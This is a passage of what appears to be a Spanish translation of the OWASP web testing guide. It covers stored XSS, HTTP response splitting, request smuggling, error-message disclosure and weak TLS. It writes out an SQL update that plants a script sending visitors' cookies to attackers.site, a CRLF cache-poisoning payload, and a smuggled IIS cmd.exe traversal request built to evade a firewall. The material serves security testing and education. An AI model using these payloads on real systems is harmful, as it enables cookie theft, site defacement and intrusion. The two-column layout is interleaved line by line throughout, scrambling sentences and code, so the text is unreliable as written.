con todos los pies de página para las páginas del sitio web, incluyendo un
campo de nota con el aviso legal que aparece en la parte inferior de cada Las técnicas de pruebas gris/blancas serán las mismas que se discutieron
página web. Puede utilizar la siguiente consulta para inyectar código previamente.
JavaScript en el campo de avisos en el pie de página en la base de datos.
SELECT field1, field2, field3

• Examinar la validación de datos ingresados es clave para mitigar esta
FROM table_x vulnerabilidad. Si otros sistemas en la empresa utilizan la misma capa de
persistencia, tienen una validación débil de ingresos y los datos pueden
WHERE field2 = ‘x’; persistir a través de una “puerta trasera”.
UPDATE footer
SET notice = ‘Copyright 1999-2030%20 • Para combatir el problema de la "puerta trasera" en ataques del lado del
cliente, la validación de salida debe ser empleada para que los datos
<script>document.write(\’<img contaminados sean codificados antes de mostrarlos al cliente y, por lo tanto,
src=”http://attackers.site/cv.jpg?\’+document.cookie+\’”>\’)</script>’ no se ejecuten.
WHERE notice = ‘Copyright 1999-2030’;
• Vea la sección de Validación de Datos de la guia de revisión de código.
[2] Ahora, cada usuario que navegue por el sitio enviará silenciosamente
sus cookies al sitio del atacante (pasos b.2 al b.4).
Herramientas
• XSS-proxy: sourceforge.net
Servidor mal configurado
• Paros: parosproxy.org
Algunos servidores web presentan una interfaz de administración que
• Burp Suite: portswigger.net
puede permitir a un atacante cargar componentes activos de su elección
en el sitio. Esto podría ser el caso con un servidor Apache Tomcat que no
• Metasploit: metasploit.com
obliga a utilizar credenciales fuertes para acceder a su gestor de
aplicaciones web (o si los evaluadores de edición han sido capaces de
obtener credenciales válidas para el módulo de administración por otros
medios). Referencias
La mayoría de las referencias de la sección de Cross-site scripting son válidas.

Como se explicó anteriormente, los ataques incubados se ejecutan al combinar
En este caso, puede cargarse un archivo WAR y una nueva aplicación web explotaciones como XSS o ataques de inyección SQL.
desplegarse en el sitio, que no sólo permita al evaluador de edición
ejecutar localmente el código a su elección en el servidor, sino también
para plantar una aplicación en el sitio de confianza, al que los usuarios
regulares del sitio puedan acceder (probablemente con un mayor grado Advertencias
de confianza que al acceder a un sitio diferente).
• CERT(R) Advisory CA-2000-02 Malicious HTML Tags
Embedded in Client Web Requests: cert.org

237
• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site más sencillo es proporcionado por las redirecciones en las que la dirección
URL de destino depende de algún valor enviado por el usuario.
scripting vulnerability: archives.neohapsis.com
Digamos, por ejemplo, que al usuario se le pide que elija si él o ella

Libros Blancos prefiere una interfaz web estándar o avanzada. La elección se pasa como
un parámetro que se utilizará en el encabezado de respuesta para activar
• Web Application Security Consortium “Threat Classification, la redirección a la página correspondiente.
Cross-site scripting”: webappsec.org
Más específicamente, si el parámetro 'interface' tiene el valor 'avanzado',

la aplicación responderá de la siguiente manera:
Pruebas para verificar la separación/contrabando de HTTP (OTG-
INPVAL-016) HTTP/1.1 302 Moved Temporarily
Resumen Date: Sun, 03 Dec 2005 16:22:19 GMT
Esta sección ilustra ejemplos de ataques que aprovechan características Location: http://victim.com/main.jsp?interface=advanced
específicas del protocolo HTTP, ya sea mediante la explotación de las
debilidades de la aplicación web o peculiaridades, en la manera en que los <snip>
diferentes agentes interpretan los mensajes HTTP.
Al recibir este mensaje, el navegador llevará al usuario a la página
indicada en el encabezado de ubicación. Sin embargo, si la aplicación no
filtra la entrada de usuario, será posible introducir en el parámetro de la
Esta sección analizará dos diferentes ataques dirigidos a encabezados
'interfaz' la secuencia %0d%0a, que representa la secuencia CRLF que se
HTTP específicos:
utiliza para separar líneas.
• Separación HTTP (HTTP splitting)
• Contrabando HTTP (HTTP smuggling)

En este punto, los evaluadores serán capaces de desencadenar una
respuesta que se interpreta como dos diferentes respuestas para
El primer ataque explota la falta de desinfección de datos ingresados que
cualquiera que analiza, por ejemplo un caché web ubicado entre nosotros
permite a un intruso insertar caracteres CR y LF en los encabezados de la
y la aplicación. Un atacante puede aprovechar esto para envenenar este
respuesta de la aplicación y 'separar' la respuesta en dos mensajes HTTP
caché web que proporcionará contenido falso en todas las solicitudes
diferentes. El objetivo del ataque puede variar desde un envenenamiento del
subsiguientes.
caché hasta un cross site scripting.
Digamos que en el ejemplo anterior el evaluador pasa los siguientes datos

En el segundo ataque, el atacante explota el hecho de que algunos mensajes
HTTP especialmente diseñados pueden ser analizados e interpretados de como el parámetro de la interfaz:
diferentes maneras según el agente que las reciba. El contrabando de HTTP
advanced%0d%0aContent-
requiere cierto nivel de conocimiento sobre los diferentes agentes que están
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
manejando los mensajes HTTP (servidor web, proxy, firewall) y, por lo tanto,
se incluirán solamente en la sección de prueba de Caja Gris.
Type:%20text/html%0d%0aContent-
Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
Cómo probar
Pruebas de Caja Negra La respuesta resultante de la aplicación vulnerable será, en consecuencia, la

siguiente:
Separación HTTP
HTTP/1.1 302 Moved Temporarily
Algunas aplicaciones web usan parte de los datos ingresados por el usuario
para generar los valores de algunos encabezados de sus respuestas. El ejemplo Date: Sun, 03 Dec 2005 16:22:19 GMT

238
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0 [1] El evaluador de edición debe establecer correctamente los

encabezados en la respuesta falsa para que pueda ser correctamente
procesada en caché (por ejemplo, un encabezado Last-Modified con una
fecha establecida en el futuro). Él o ella también podrían tener que
HTTP/1.1 200 OK destruir previamente las versiones de los localizadores de destino
almacenados en memoria caché, mediante la emisión de una solicitud
Content-Type: text/html preliminar con "Pragma: no-cache" en los encabezados de solicitud.
Content-Length: 35
[2] La aplicación, aunque no filtre la secuencia CR+LF, podría filtrar otros

caracteres que son necesarios para un ataque exitoso (por ejemplo, "<" y
<html>Sorry,%20System%20Down</html> ">"). En este caso, el evaluador puede intentar utilizar otras
codificaciones (por ejemplo, UTF-7).
<other data>
[3] Algunos objetivos (por ejemplo, ASP) codificarán la parte de la ruta
URL del encabezado de ubicación (por ejemplo,
www.victim.com/redirect.asp), haciendo inútil una secuencia CRLF. Sin
La caché web verá dos respuestas diferentes, así que si el atacante envía embargo, no codifican la sección de consulta (por ejemplo,
inmediatamente después de la primera solicitud una segunda, pidiendo ?interface=advanced), lo que significa que un signo de pregunta es
/index.html, la caché web empareja esta petición con la segunda suficiente para evadir el filtro.
respuesta y almacena en caché su contenido, para que en todas las
solicitudes posteriores a victim.com/index.html que pasen por ese caché
web aparecerá el mensaje "sistema fuera de servicio" (system down).
Para una discusión más detallada sobre este ataque y otra información
acerca de posibles escenarios y aplicaciones, consulte los documentos
mencionados en la parte inferior de esta sección.
De esta manera, un atacante podrá desfigurar con eficacia el sitio para los
usuarios utilizando ese caché web (todo el Internet, si la memoria caché
web es un proxy inverso para la aplicación web). Por otro lado, el
atacante podría pasar a estos usuarios un fragmento de código JavaScript Pruebas de Caja Gris
que monta un ataque de cross site scripting, por ejemplo, para robar las
cookies. Tenga en cuenta que mientras la vulnerabilidad esté en la Separación HTTP
aplicación, el objetivo serán sus usuarios. Por lo tanto, para buscar esta
vulnerabilidad, el evaluador debe identificar todos los ingresos Ayuda enormemente a una explotación exitosa de separación HTTP si se
controlados por el usuario que influyen en una o más respuestas en los sabe algunos detalles de la aplicación web y del destino del ataque. Por
encabezados y comprobar si puede inyectar con éxito una secuencia ejemplo, diferentes objetivos pueden utilizar diversos métodos para
CR+LF. decidir cuándo termina el primer mensaje HTTP y cuándo inicia el
segundo. Algunos utilizan los límites del mensaje, como en el ejemplo
anterior. Otros objetivos asumen que diferentes mensajes se
transportarán en diferentes paquetes. Otros destinarán para cada
Los encabezados que son los candidatos más probables para estos mensaje un número de piezas de longitud predeterminada: en este caso,
ataques son: el segundo mensaje debe iniciar exactamente al principio del pedazo y,
para ello, será necesario que el evaluador utilice relleno entre los dos
mensajes.
• Location
• Set-Cookie Esto podría provocar algunos problemas cuando el parámetro vulnerable

es enviado en la URL, ya que es probable que una URL muy larga se
trunque o filtre. Un escenario de Caja Gris puede ayudar al atacante a
encontrar una solución: varios servidores de aplicaciones, por ejemplo,
Debe observarse que una exitosa explotación de esta vulnerabilidad en un permitirán que la solicitud se envíe mediante POST en lugar de GET.
escenario del mundo real puede ser bastante compleja, ya que varios
factores deben tomarse en cuenta:

239
Contrabando HTTP <CRLF>
Como se mencionó en la introducción, el contrabando HTTP aprovecha POST /target.asp HTTP/1.0 <-- Request #3
las diferentes maneras en que un mensaje HTTP especialmente diseñado
puede ser analizado e interpretado por los diferentes agentes xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <--
(navegadores, cachés web, aplicaciones de firewalls). Este relativamente Request #4
nuevo tipo de ataque fue descubierto por Chaim Linhart, Amit Klein,
Ronen Heled y Steve Orrin en 2005. Connection: Keep-Alive
<CRLF>
Hay varias aplicaciones posibles y vamos a analizar una de las más

espectaculares: la evasión de una aplicación de firewall. Consulte el
artículo original del Libro Blanco (enlazado al final de esta página) para Lo que pasa aquí es que la petición #1 está hecha de 49223 bytes, e
información más detallada y otros escenarios. incluye también las líneas de petición #2. Por lo tanto, un firewall (o
cualquier otro agente aparte de IIS 5.0) verá la petición #1, dejará de ver
la petición #2 (sus datos serán sólo una parte de la #1), verá la solicitud
#3 y no verá la solicitud #4 (porque el POST va a ser sólo una parte del
Evasión de la aplicación de Firewall encabezado falso xxxx).
Hay varios productos que permiten a la administración del sistema

detectar y bloquear una solicitud web hostil según ciertos patrones
maliciosos conocidos, que están incrustados en la solicitud. Por ejemplo, Ahora, ¿qué pasa con IIS 5.0? Dejará de analizar la petición #1 después de
considere el infame ataque del directorio Unicode old contra el servidor 49152 bytes de basura (habrá alcanzado el límite de 48 K = 49152 bytes)
IIS (http://www.securityfocus.com/bid/1806), en el que un atacante y, por lo tanto, analizará la petición #2 como una nueva solicitud
podría romper la www.root emitiendo una solicitud como: separada. La solicitud #2 afirma que su contenido es 33 bytes, que incluye
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<comma todo hasta "xxxx:", que hace que IIS pierda la solicitud #3
nd_to_execute></command_to_execute> (interpretándola como parte de la petición #2), pero encuentra la
solicitud #4, ya que su POST comienza justo después de los 33 bytes o la
solicitud #2. Es un poco complicado, pero el punto es que la URL de
ataque no será detectada por el firewall (se interpreta como parte del
Por supuesto, este ataque es bastante fácil de detectar y filtrar por la cuerpo de una solicitud anterior), pero será correctamente analizada (y
presencia de cadenas como ".." y "cmd.exe" en la URL. Sin embargo, IIS 5.0 ejecutada) por IIS.
es bastante exigente con las peticiones POST cuyo cuerpo es de hasta 48K
bytes y trunca todo el contenido que está más allá de este límite cuando la
cabecera Content-Type es diferente de laaplicación/x-www-form-
urlencoded. El evaluador de edición puede aprovechar esto mediante la Mientras que en el caso anterior la técnica explota un error de un
creación de un pedido muy grande, estructurado de la siguiente manera: servidor web, hay otros escenarios en los que podemos aprovechar las
distintas maneras en que diferentes dispositivos basados en HTTP
POST /target.asp HTTP/1.1 <-- Request #1 permiten analizar mensajes que no son compatibles con 1005 RFC.
Host: target
Connection: Keep-Alive Por ejemplo, el protocolo HTTP permite sólo un encabezado Content-
Length, pero no especifica cómo manejar un mensaje que tiene dos
Content-Length: 49225 instancias de este encabezado. Algunas implementaciones utilizarán el
primero de ellos mientras que otras preferirán la segunda, limpiando el
<CRLF> camino para ataques de contrabando HTTP. Otro ejemplo es el uso del
encabezado Content-Length en un mensaje GET.
<49152 bytes of garbage>
POST /target.asp HTTP/1.0 <-- Request #2

Tenga en cuenta que el contrabando HTTP *no* explota ninguna
Connection: Keep-Alive vulnerabilidad en la aplicación web de destino. Por lo tanto, puede ser
algo complicado, en una relación de evaluador de edición, convencer al
Content-Length: 33 cliente que una contramedida debe ser buscada de todas maneras.

240
como las que se describen en 4.2.1 Realice descubrimientos de motores

de búsqueda y reconocimiento de fugas de información (OTG-INFO -001)
Referencias
Libros Blancos
Errores de servidor web
• Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache
Poisoning Attacks, and RelatedTopics”: packetstormsecurity.org Un error común que podemos ver durante la prueba es el HTTP 404 Not
Found. A menudo este código de error proporciona información útil sobre
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request el servidor web subyacente y componentes asociados. Por ejemplo:
Smuggling”: cgisecurity.com
Not Found
• Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”:
owasp.org The requested URL /page.html was not found on this server.
• Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at
phenomenon)”: securityfocus.com localhost Port 80
• Amit Klein: “HTTP Response Smuggling”: securityfocus.com
• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Este mensaje de error puede generarse por solicitar una URL no
Smuggling”: cgisecurity.com existente. Después del mensaje común que muestra una página no
encontrada, hay información sobre la versión del servidor web, sistema
operativo, módulos y otros productos utilizados. Esta información puede
ser muy importante desde el punto de vista de identificar el tipo y versión
Pruebas de errores de código (OTG-ERR-001)
del sistema operativo y aplicaciones.
Resumen
A menudo, durante una prueba de penetración en aplicaciones web, nos

Otros códigos de respuesta HTTP tales como 400 Bad Request, 405
encontramos con muchos errores de código generados por aplicaciones o
Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out
servidores web. Es posible hacer que estos errores se muestren al utilizar una
and 505 HTTP Version Not Supported pueden ser forzados por un
solicitud personalizada, creada especialmente con herramientas o
atacante. Cuando reciben solicitudes especialmente diseñadas, los
manualmente. Estos códigos son muy útiles para los evaluadores de
servidores web pueden proporcionar uno de estos códigos de error,
penetración durante sus actividades, ya que revelan mucha información sobre
dependiendo de su aplicación HTTP.
bases de datos, errores y otros componentes tecnológicos directamente
relacionados con aplicaciones web.
Probar en busca de información divulgada en los códigos de error del

servidor web está relacionado con las pruebas de información en los
Esta sección analiza los códigos más comunes (mensajes de error) y se enfoca
en su importancia durante una evaluación de la vulnerabilidad. encabezados HTTP, como se describe en la sección Use huellas digitales
en el servidor web (OTG-INFO-002).
El aspecto más importante para esta actividad es centrar la atención en estos

errores, verlos como una colección de información que ayudará en los pasos Errores de servidores de aplicaciones
de nuestro análisis. Una buena colección puede facilitar la eficiencia de la
evaluación reduciendo el tiempo total tomado para realizar la prueba de Los errores de aplicación son devueltos por la misma aplicación más que
penetración. por el servidor web. Estos pueden ser mensajes de error de código del
framework (ASP, JSP etc.) o pueden ser errores específicos devueltos por
el código de la aplicación. Los errores detallados de la aplicación
normalmente proporcionan información de las rutas del servidor,
Los atacantes a veces usan motores de búsqueda para localizar errores bibliotecas instaladas y versiones de aplicaciones.
que divulguen la información. Las búsquedas se realizan para encontrar
los sitios erróneos como víctimas al azar, o es posible buscar errores en
un sitio específico utilizando el motor de búsqueda, herramientas de filtro
Errores de base de datos

241
Los errores de base de datos son devueltos por el sistema de base de no maneja la excepción de una forma controlada. Esto puede ser causado
datos cuando hay un problema con la consulta o la conexión. Cada por un problema de resolución del nombre de la base de datos,
sistema de base de datos, como MySQL, Oracle o MSSQL, tiene su propio procesamiento de valores variable inesperados u otros problemas de red.
conjunto de errores. Esos errores pueden proporcionar información
confidencial como las IP del servidor de base de datos, tablas, columnas y
datos de inicio de sesión.
Considere el escenario donde tenemos un portal de administración de base de
datos, que puede utilizarse como un front-end GUI para emitir consultas de
base de datos, crear tablas y modificar campos de bases de datos. Durante el
Además, hay muchas técnicas de explotación de inyección SQL que POST de las credenciales de inicio de sesión, el siguiente mensaje de error se
utilizan los mensajes de error detallados desde el controlador de la base presenta en las pruebas de penetración. El mensaje indica la presencia de un
de datos. Para información más detallada sobre este tema vea Pruebas de servidor de base de datos MySQL:
inyecciones de SQL (OTG-INPVAL-005).
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)

Los errores de servidor web no son la única respuesta útil que requieren
análisis de seguridad. Considere el siguiente mensaje de error de ejemplo: [MySQL][ODBC 3.51 Driver]Unknown MySQL server host
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access Si vemos en el código HTML de la página de inicio de sesión la presencia de
denied un campo oculto con una IP de una base de datos, podemos intentar cambiar
este valor en la URL con la dirección de un servidor de base de datos bajo el
control de evaluadores de penetración, en un intento de engañar a la
aplicación para que piense que la conexión fue exitosa.
¿Qué pasó? A continuación vamos a explicarlo paso a paso.
Otro ejemplo: sabiendo cuál es el servidor de base de datos que sirve a una
En este ejemplo, el 80004005 es un código de error IIS genérico que aplicación web, podemos aprovechar esta información para llevar a cabo una
indica que no pudo establecer una conexión con su base de datos inyección de SQL para ese tipo de base de datos o una prueba XSS
asociada. En muchos casos, el mensaje de error detalla el tipo de base de persistente.
datos. A menudo esto le indicará el sistema operativo subyacente por
asociación. Con esta información, el evaluador de penetración puede
planear una estrategia adecuada para la prueba de seguridad.
Cómo probar
A continuación vemos algunos ejemplos de pruebas de los mensajes de error

Mediante la manipulación de las variables que se pasan a la cadena de detallados, devueltos al usuario. Cada uno de los siguientes ejemplos tiene
información específica sobre el sistema operativo, versión de la aplicación,
conección de la base de datos, podemos invocar errores más detallados.
etc.
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open

Prueba: 404 Not Found
registry key ‘DriverId’
telnet <host target> 80
GET /<wrong page> HTTP/1.1

En este ejemplo, podemos ver un error genérico en la misma situación
que revela el tipo y versión del sistema de base de datos asociada y una
host: <host target>
dependencia de valores claves del registro del sistema operativo de
Windows.
<CRLF><CRLF>
Ahora veremos un ejemplo práctico con una prueba de seguridad contra

Resultado:
una aplicación web que pierde su enlace a su servidor de base de datos y
242
HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT Prueba: 400 Bad Request
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g telnet <host target> 80
Content-Length: 310 GET / HTTP/1.1
Connection: close <CRLF><CRLF>
Content-Type: text/html; charset=iso-8859-1
... Resultado:
<title>404 Not Found</title> HTTP/1.1 400 Bad Request
... Date: Fri, 06 Dec 2013 23:57:53 GMT
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Port 80</address>
Content-Length: 301
Prueba:
Connection: close
Problemas de red que llevan a que la aplicación no pueda acceder al servidor de
bases de datos Content-Type: text/html; charset=iso-8859-1
...
Resultado: <title>400 Bad Request</title>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ‘ ...
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
127.0.1.1 Port 80</address>
...
Prueba:
Error de autenticación debido a credenciales faltantes

Prueba: 405 Method Not Allowed

Resultado:
PUT /index.html HTTP/1.1
Versión de Firewall usada para autenticación:
Host: <host target>
Error 407
<CRLF><CRLF>
FW-1 at <firewall>: Unauthorized to access the document.
• Authorization is needed for FW-1.

Resultado:
• The authentication required by FW-1 is: unknown.
HTTP/1.1 405 Method Not Allowed
• Reason for failure of last attempt: no user
Date: Fri, 07 Dec 2013 00:48:57 GMT

243
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
<host target> Port 80</address>
Allow: GET, HEAD, POST, OPTIONS
...
Content-Length: 315
Prueba: 501 Method Not Implemented
Connection: close
RENAME /index.html HTTP/1.1
...
Host: <host target>
<title>405 Method Not Allowed</title>
<CRLF><CRLF>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at

<host target> Port 80</address> Resultado:
... HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Prueba: 408 Request Time-out Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
telnet <host target> 80 Allow: GET, HEAD, POST, OPTIONS
GET / HTTP/1.1 Vary: Accept-Encoding
-Wait X seconds – (Depending on the target server, 21 seconds for Apache by Content-Length: 299
default)
Connection: close

Resultado:
...
HTTP/1.1 408 Request Time-out
<title>501 Method Not Implemented</title>
Date: Fri, 07 Dec 2013 00:58:33 GMT
...
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
Vary: Accept-Encoding <host target> Port 80</address>
Content-Length: 298 ...
Connection: close
Content-Type: text/html; charset=iso-8859-1 Prueba: 403 Forbidden:
... Enumeración de directorios usando mensajes de error de acceso denegado:<br>
<title>408 Request Time-out</title>
... http://<host>/<dir>

244
Hay varias maneras por las cuales se pueden manejar errores en

framework dot.net. Los errores se manejan en tres lugares en ASP. net:
Resultado:
• Dentro de la sección Web.config customErrors
Directory Listing Denied
• Dentro de global.asax Application_Error Sub
This Virtual Directory does not allow contents to be listed.
• En la aspx o página codebehind asociada en Page_Error sub
Herramientas
<customErrors defaultRedirect=”myerrorpagedefault.aspx”
• ErrorMint : sourceforge.net mode=”On|Off|RemoteOnly”>
• ZAP Proxy: owasp.org <error statusCode=”404” redirect=”myerrorpagefor404.aspx”/>
<error statusCode=”500” redirect=”myerrorpagefor500.aspx”/>
Referencias </customErrors>
• [RFC2616] ietf.org
• [ErrorDocument] httpd.apache.org Manejo de errores usando web.config
• [AllowOverride] httpd.apache.org mode=”On” encenderá los errores personalizados. mode=RemoteOnly

mostrará errores personalizados a los usuarios de la aplicación web
• [ServerTokens] httpd.apache.org
remota. Un usuario que accede al servidor local se presentará con la pila
de datos completa y los errores personalizados no se le mostrarán.
• [ServerSignature] httpd.apache.org
Todos los errores, salvo los expresamente señalados, causarán una

Remediación
redirección al recurso especificado por defaultRedirect, es decir,
myerrorpagedefault.aspx. Un código de estado 404 se manejará por
Manejo de errores en IIS y ASP .net
myerrorpagefor404.aspx.
ASP.net es un framework común de Microsoft utilizado para desarrollar
aplicaciones web. IIS es uno de los servidores web más utilizados. Los
errores se producen en todas las aplicaciones, los desarrolladores
Manejo de errores en Global.asax
intentan atrapar la mayoría de errores, pero es casi imposible cubrir cada
excepción (sin embargo, es posible configurar el servidor web para
Cuando se produce un error, se contacta al sub Application_Error. Un
suprimir que sean devueltos los mensajes de error detallado al usuario).
desarrollador puede escribir código para el redireccionamiento del
manejo de las páginas de error en esta sub.
Private Sub Application_Error (ByVal sender As Object, ByVal e As

IIS utiliza un conjunto de páginas de error personalizadas que
System.EventArgs)
generalmente se encuentra en c:\winnt\help\iishelp\common para
mostrar los errores como "404 page not found " al usuario.
Handles MyBase.Error
End Sub
Estas páginas por defecto se pueden cambiar y los errores personalizados

pueden configurarse para el servidor IIS. Cuando IIS recibe una solicitud
de una página aspx, la solicitud pasa al framework dot.net.
Manejo de errores en Page_Error sub
Esto es similar al error de aplicación.
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)

245
Handles MyBase.Error
End Sub The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its
dependencies) could have been removed, had its name
Jerarquía de errores en ASP .net
El sub Page_Error será procesado en primer lugar, seguido por global.asax

Application_Error sub, y, finalmente, la sección de customErrors en los errores personalizados de .net no están configurados.
web.config file.
Manejo de errores en Apache

La recolección de información en aplicaciones web con tecnología del lado
del servidor es bastante difícil, pero la información descubierta puede ser útil Apache es un servidor HTTP común para atender páginas HTML y PHP. Por
para la correcta ejecución de un intento de explotación (por ejemplo, defecto, Apache muestra la versión del servidor, los productos instalados y el
inyección SQL o ataques de Cross Site Scripting (XSS)) y puede reducir sistema operativo instalado dentro de las respuestas de error en HTTP.
falsos positivos.
Las respuestas a los errores pueden configurarse y personalizarse a nivel
global, por sitio o por directorio en el apache2.conf usando la Directiva
ErrorDocument [2]
Cómo probar el manejo de errores deASP.net y IIS
ErrorDocument 404 “Customized Not Found error message”
Encienda su navegador y escriba un nombre aleatorio de página
ErrorDocument 403 /myerrorpagefor403.html
http:\\www.mywebserver.com\anyrandomname.asp
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
Si el servidor devuelve
Los administradores del sitio pueden gestionar sus propios errores con el
The page cannot be found archivo .htaccess si la directiva global AllowOverride está configurada
correctamente en apache2.conf [3]
Internet Information Services

La información mostrada por Apache en los errores HTTP también puede
configurarse mediante las directivas ServerTokens [4] y ServerSignature [5]
en el archivo de configuración apache2.conf. "ServerSignature Off" (cargado
Significa que los errores personalizados de IIS no están configurados. Por por defecto) elimina la información del servidor de las respuestas de error,
favor observe la extensión .asp. mientras que ServerTokens [ProductOnly| Major| Minor| Minimal|OS|Full]
(Full por defecto) define qué información debe constar en las páginas de error.
También pruebe los errores personalizados de .net. Escriba un nombre

aleatorio de página con una extensión aspx en su navegador Manejo de errores en Tomcat
http:\\www.mywebserver.com\anyrandomname.aspx Tomcat es un servidor HTTP para alojar aplicaciones JSP y Java Servlet. Por
defecto Tomcat muestra la versión del servidor en las respuestas de error
HTTP.
Si el servidor devuelve
Server Error in ‘/’ Application. La personalización de las respuestas de error se puede configurar en el
documento de configuración web.xml.
--------------------------------------------------------------------------------
<error-page>

246
<error-code>404</error-code> Todas las pruebas anteriores podrían llevar a errores de aplicación que pueden
contener restos de pila de datos. Se recomienda utilizar un comprobador
<location>/myerrorpagefor404.html</location> aleatorio adicional a cualquier prueba manual.
</error-page>
Algunas herramientas, como OWASP ZAP y Burp proxy, detectarán estas

excepciones en la secuencia de respuesta como mientras están haciendo otros
Pruebas para determinar los rastros de pilas de datos(OTG-ERR-002) trabajos de pruebas y penetración.
Resumen
Los rastros de pilas de datos no son vulnerabilidades por sí mismas, pero a Pruebas de Caja Gris
menudo revelan información que es interesante para un atacante. Los
atacantes intentan generar estos rastros de pila de datos mediante la alteración Buscar el código para las comunicaciones que causan una excepción
del ingreso a la aplicación web con peticiones HTTP con formato incorrecto y representada en una cadena o secuencia de salida. Por ejemplo, en Java podría
otros datos de ingreso. ser código en JSP que se ve asi:
<% e.printStackTrace( new PrintWriter( out ) ) %>
Si la aplicación responde con rastros de pilas de datos que no se manejan,

podría revelar información útil a los atacantes. Esta información podría
utilizarse en otros ataques. Proporcionar información de depuración como En algunos casos, el rastro de la pila de datos será un formato en HTML
resultado de las operaciones que generan errores se considera una mala específicamente, así que asegúrese de buscar elementos de rastros de pila de
práctica por varias razones. Por ejemplo, puede contener información sobre el datos.
funcionamiento interno de la aplicación como rutas relativas del punto donde
está instalada la aplicación o como se referencian los objetos internamente.
Busque la configuración para comprobar el manejo de errores y el uso de

páginas de error por defecto. Por ejemplo, en Java, esta configuración puede
Cómo probar encontrarse en web.xml.
Hay una variedad de técnicas que pueden provocar que mensajes de excepción Herramientas
se envíen en una respuesta HTTP. Tenga en cuenta que en la mayoría de los
casos se trata de una página HTML, pero las excepciones se pueden enviar • ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
como parte de las respuestas SOAP o REST también.
Attack_Proxy_Project
Algunas pruebas que se deben incluir son:

Referencias
• Entrada no válida (como la entrada que no es coherente con la lógica de la
aplicación). • [RFC2616] Hypertext Transfer Protocol - http://www.ietf.org/rfc/rfc2616.txt
• Las entradas que contienen caracteres no alfanuméricos o consultas de

sintaxis.
Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas
• Entradas vacías. insuficiente (OTG-CRYPST-001)
• Entradas que son muy largas. Resumen
• Acceso a páginas internas sin autenticación. Los datos sensibles deben ser protegidos cuando se transmiten a través de la
red. Dichos datos pueden incluir credenciales y tarjetas de crédito del usuario.
• Esquivar el flujo de la aplicación. Como regla general, si los datos se deben proteger cuando se almacenan, se
deben proteger también durante la transmisión.

247
La aplicación no debe transmitir información sensible a través de canales sin

codificar. Normalmente es posible encontrar la autenticación básica en HTTP,
HTTP es un protocolo de texto y normalmente se asegura mediante un túnel contraseña de ingreso o la cookie de sesión enviada a través de HTTP y, en general,
SSL/TLS, dando como resultado tráfico en HTTPS [1]. El uso de este otra información considerada sensible por las regulaciones, leyes o políticas
protocolo asegura no sólo confidencialidad, sino también la autenticación. Los organizacionales.
servidores se autentican mediante certificados digitales y también es posible
utilizar el certificado de cliente para una autenticación mutua.
Aunque los cifrados de alto nivel se apoyan hoy en día y son utilizados SSL/TLS Ciphers/Protocols/Keys débiles
normalmente, algún error de configuración en el servidor puede utilizarse para
forzar el uso de un cifrado débil - o, en el peor caso, ningún cifrado - Históricamente, ha habido limitaciones determinadas por el gobierno de Estados
permitiendo a un atacante acceder al canal de comunicación supuestamente Unidos, que permiten la exportación del cifrado sólo de un tamaño de hasta 40
seguro. Otras configuraciones erróneas pueden usarse para un ataque de bits, una longitud de clave que podría ser rota y permitiría el descifrado de
negación de servicio. comunicaciones. Desde entonces, las regulaciones de exportación criptográfica se
han allanado a un tamaño de clave máximo de 128 bits.
Asuntos comúnes
Es importante comprobar que la configuración de SSL ha sido usada para evitar la
Se produce una vulnerabilidad si se utiliza el protocolo HTTP para transmitir puesta en marcha del soporte criptográfico que podría ser fácilmente derrotado.
información sensible [2] (e.g. credenciales transmitidas en HTTP [3]). Para alcanzar este objetivo, los servicios basados en SSL no deberían ofrecer la
posibilidad de escoger una suite de cifrado débil. Una suite de cifrado se especifica
mediante un protocolo de cifrado (por ejemplo, DES, RC4, AES), la longitud de
cifrado de clave (por ejemplo, 40, 56 o 128 bits) y un algoritmo de hash (SHA,
La presencia de un servicio SSL/TLS es buena, pero aumenta la superficie de MD5) utilizado para verificar la integridad.
